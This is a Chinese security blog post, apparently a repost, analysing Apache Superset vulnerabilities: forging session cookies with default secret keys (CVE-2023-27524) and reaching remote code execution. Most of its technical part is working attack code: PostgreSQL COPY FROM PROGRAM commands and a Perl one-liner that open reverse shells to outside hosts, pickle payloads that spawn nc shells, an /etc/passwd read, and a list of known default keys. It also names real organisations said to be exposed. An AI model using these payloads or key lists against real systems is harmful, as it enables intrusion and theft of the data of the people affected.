隐藏的危险:Apache Superset三个RCE漏洞浅析

admin 2023年5月4日20:29:27评论186 views字数 4576阅读15分15秒阅读模式

隐藏的危险:Apache Superset三个RCE漏洞浅析

前言

4.25日Naveen Sunkavally 发布了CVE-2023-27524 superset 默认key的漏洞。可以使用flask_unsign  构建cookies,登录系统。

superset 是一款BI系统,主要用在各种版本数据库管理中,一旦控制,影响将是全量数据,该漏洞的影响之大,并没有引起很大重视,笔者对全网存在弱点的主机进行了清点。

疑似存在漏洞主机

某上市酒店1.5亿会员数据,跟住宿数据。

全国公交用户数据

某为的代理商统计指数

某银行用户行为数据

某证券指数分析数据

存在漏洞网站分布图(来源tw)

隐藏的危险:Apache Superset三个RCE漏洞浅析

漏洞利用方式

cookies构造使用方法:

flask-unsign 是一个 Python 库,用于从 Flask session cookie 中加密和解密数据  

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

作者同时提供了测试工具

https://github.com/horizon3ai/CVE-2023-27524

隐藏的危险:Apache Superset三个RCE漏洞浅析

nuclei同时更新了模块

隐藏的危险:Apache Superset三个RCE漏洞浅析

作者RCE截图

作者在文中提出了二处RCE,并且截图。但是没有说出具体位置。

隐藏的危险:Apache Superset三个RCE漏洞浅析

笔者大概能猜测出RCE分别位于数据库,一个位于本地程序。


笔者通过作者截图,对几处地方进行了猜想

数据库反弹shell

进行数据库执行反弹shell并没有什么诡异的地方。

只需根据连接池数据库属性进行执行,突破数据库的防护并调用指定函数即可。

因此,mssql、mysql、postgres、oracle等数据库都可以执行此类命令,反弹shell。

可以控制存在连接的数据库容器,但在实际场景中,需要解决的问题可能是数据库出网的问题。

具体步骤:

登录后,点击sql 选择sqllite, 列表中有已经进行链接的连接池,

隐藏的危险:Apache Superset三个RCE漏洞浅析


select pg_read_file('/etc/passwd');  利用postgres数据库读取文件(低版本)。


使用bash反弹

CREATE TABLE dump (t TEXT);insert into dump values ('bash -i >& /dev/tcp/xxxx.xxx.xxx.xxx/8080 0>&1');COPY dump TO '/tmp/s.sh';      

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/s.sh';SELECT * from cmd_exec;

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM 'bash -c "bash /tmp/s.sh"';SELECT * from cmd_exec;

TRUNCATE table cmd_exec;COPY cmd_exec FROM PROGRAM 'bash /tmp/s.sh';SELECT * from cmd_exec;
 TRUNCATE table cmd_exec; COPY cmd_exec FROM PROGRAM  'perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"xxxxxxxx.xxx.xx.xx:9001");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''; SELECT * from cmd_exec;

执行后查看结果:

隐藏的危险:Apache Superset三个RCE漏洞浅析


网站程序的RCE的几处

笔者搭建apache superset,对大概地方进行了黑盒测试。

隐藏的危险:Apache Superset三个RCE漏洞浅析

笔者第一个想到的地方是pickle反序列

Pickle反序列

相关文章:

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

首先自己构造pickle的    

                        import pickleimport base64import os
class RCE:def **reduce**(self):cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ''/bin/sh -i 2>&1 | nc xx.xx.xx.xx 444 > /tmp/f')return os.system, (cmd,)
if **name** == '**main**':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))

python 3 之后需要dump,生成文件。superset在解析文件的地方使用。

import pickle
myIP = 'xx.xx.xx.xx'myPort = '444'

payload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)

with open('evil.pickle', 'wb') as f: pickle.dump(payload, f)

文件内容为二进制内容。

隐藏的危险:Apache Superset三个RCE漏洞浅析

翻看历史漏洞记录CVE-ID: CVE-2018-8021,找到18年的一个RCE,存在漏洞版本<=0.0.38

https://www.exploit-db.com/exploits/45933

隐藏的危险:Apache Superset三个RCE漏洞浅析

看到也是利用pickle.

导入点:superset/import_dashboards  

                                    import pickle# Change these values to your TCP listenermyIP = 'xx.xx.xx.xx'myPort = '444'# Generate reverse shell payloadpayload = "rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe".format(myIP, myPort)# Dump payload to pickle filewith open('evil.pickle', 'wb') as f:    pickle.dump(payload, f)                

Jinja2模板RCE

用Python的Jinja2模板引擎执行任意命令的尝试    

隐藏的危险:Apache Superset三个RCE漏洞浅析

沙盒处理

隐藏的危险:Apache Superset三个RCE漏洞浅析

这里jinji2的话,其实如果替换成Chevron,可以Bypass. ,但是比较鸡肋。
select '{{ chevron }}', '{{ mustache }}’   

翻阅了过往的漏洞介绍。大概发现了几个存在的点。
一处CVE-2020-13948 RCE 

隐藏的危险:Apache Superset三个RCE漏洞浅析


跟着RCE去跟踪,发现了github的改动,大概就明白执行点在哪里了。   

调用了模板变量uuid.可以访问Os .执行命令os.popen  

隐藏的危险:Apache Superset三个RCE漏洞浅析


还有几个存在问题的点。都是在导入的地方。如:   

dashboard.json的恶意配置文件  

"css": ".malicious-class{background-image:url('http://attacker.com/malicious-image.jpg');}",    

加入攻击代码  

隐藏的危险:Apache Superset三个RCE漏洞浅析

在导入的地方基本触发条件还是比较多。


笔者另外整理了一些默认key,主要是docker在运行时,需要加入Key,不少人使用的还是官网默然修改key命令。
    b'x02x01thisismyscretkeyx01x02\e\y\y\h',  # version < 1.4.1    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1    b'thisISaSECRET_1234',                            # deployment template    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation    b'TEST_NON_DEV_SECRET',                            # docker compose    b'USE_YOUR_OWN_SECURE_RANDOM_KEY',    b'your_secret_key_here'
修补方式
docker run -d -p 8080:8088 -e "SUPERSET_SECRET_KEY=your_secret_key_here" --name superset apache/superset
修改SUPERSET_SECRET_KEY属性值,重新app。


总结
本文围绕apache superset 存在的风险问题进行了分析,并且列举了一些存在风险的主机。
此外还介绍了一些漏洞和攻击方法,如数据库反弹shell,pickle漏洞和Jinja2模板引擎执行任意命令的尝试等。







如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

  星球里将提供:

1.高纬度的网络安全思维模式

2.SRC漏洞挖掘、CTF靶机攻克、企业安全建设、网络边界安全、GAN网络、web3.0安全、企业安全运营、打击涉网犯罪等行业全知识面覆盖

3.高质量的问题交流、导师级顾问服务

隐藏的危险:Apache Superset三个RCE漏洞浅析



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!


隐藏的危险:Apache Superset三个RCE漏洞浅析

如何打击互联网黑灰色产业链犯罪:我总结了6个关键点

一篇完整的甲方内部防钓鱼演练方案【可直接抄作业】

阿里云WAF3.0命令执行Bypass,也是WAF的通病

漏洞治理难度大?建立完善的漏洞管理流程是关键!

从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

漏洞治理难度大?建立完善的漏洞管理流程是关键!

【盗币科普】你可千万不能这样盗别人的虚拟货币钱包

关于打击跨境网络赌博犯罪,我们如何侦查?我的建议和想法

【完结篇】微信泄露手机号事件的回顾与总结

批量截获机场节点:科学上网工具安全分析

防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)

【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。

一次完整的GPT-4代码审计,挖掘CMSeasy漏洞

我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)

从零开始,手把手教您如何开通ChatGPT Plus开启GPT-4之旅(depay,nobepay,某宝)

Burpsuite最新版+四款Burpsuite插件,帮你扫描JS文件中的URL链接!

原文始发于微信公众号(安全女巫):隐藏的危险:Apache Superset三个RCE漏洞浅析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月4日20:29:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐藏的危险:Apache Superset三个RCE漏洞浅析https://cn-sec.com/archives/1705742.html

发表评论

匿名网友 填写信息